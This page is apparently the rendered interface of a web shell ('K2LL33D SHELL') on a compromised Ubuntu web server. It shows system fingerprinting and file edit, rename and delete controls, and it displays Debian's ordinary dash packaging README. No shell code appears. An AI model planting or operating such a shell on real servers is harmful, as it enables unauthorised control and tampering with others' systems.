K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / usr / share / doc / dash /
server ip : 172.67.156.115

your ip : 172.69.17.36

H O M E


Filename/usr/share/doc/dash/README.source
Size2.97 kb
Permissionrw-r--r--
Ownerroot : root
Create time27-Apr-2025 09:50
Last modified19-Feb-2014 20:13
Last accessed06-Jul-2025 16:39
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
Dash sources for Debian
-----------------------

The dash Debian package sources are available through git, and
through 'apt-get source dash'. Getting the sources through git
should be preferred:

# apt-get install git # if not yet done

$ git clone http://smarden.org/git/dash.git/
$ cd dash

After cloning the repository, you have checked out the debian-sid
branch, ready to be used by dpkg-buildpackage, e.g.

$ dpkg-buildpackage -i -rfakeroot -uc -us

If you want to make changes in the ./debian/ subdirectory, this is the
correct branch to work on. After making changes, document them in
debian/changelog, and commit through 'git add' and 'git commit', or 'git
commit -a', or similar. If you think the changes should be incorporated
into the standard Debian package, create the patch[es] through 'git
format-patch', and send them to the Debian Bug Tracking System, e.g.

$ vi debian/rules
$ debchange -pi
$ git commit -a
$ git format-patch HEAD^


If you want to make changes to the upstream dash sources, first checkout
the release+patches branch

$ git checkout -b release+patches origin/release+patches

The release+patches branch holds patches on top of the current release
version that is packaged for Debian/unstable. The current release
version is available in the release branch. If you are interested, you
can checkout this branch too

$ git checkout -b release origin/release

When releasing a new Debian package based on a new upstream release, the
release branch will be fastforwarded, and the release+patches branch is
rewound and rebased onto the new HEAD of the release branch. This is
done by, e.g.

$ git checkout release
$ git merge v0.5.5
$ git checkout release+patches
$ git rebase release

You generally don't need to do that, but beware that the release+patches
branch is rewound occasionally.

After checking out the release+patches branch, make the desired changes
to the upstream sources, and commit them. To integrate the changes into
the Debian package, extract these changes, and change to the debian-sid
branch (Note: the file extension for the patches is '.diff', use 'git
config --add format.suffix .diff' to make that the default)

$ git format-patch release..release+patches
$ git checkout debian-sid

Now move the extracted patches into the debian/diff/ directory, add a
meaningful message to debian/changelog, and commit the changes to the
debian-sid branch

$ mv ????-*.diff debian/diff/
$ git add debian/diff
$ debchange -pi
$ git add debian/changelog
$ git commit

Again, if you think the changes should be incorporated into the standard
Debian package, create the patch[es] from the debian-sid branch through
'git format-patch', send them to the Debian Bug Tracking System.

There's a mailing list to coordinate work on the dash packages, if
you're interested in helping please subscribe to the
<debian-package-dash> mailing list by sending an email to
<[email protected]>.

-- Gerrit Pape <[email protected]> Fri, 04 Jun 2010 00:22:12 +0000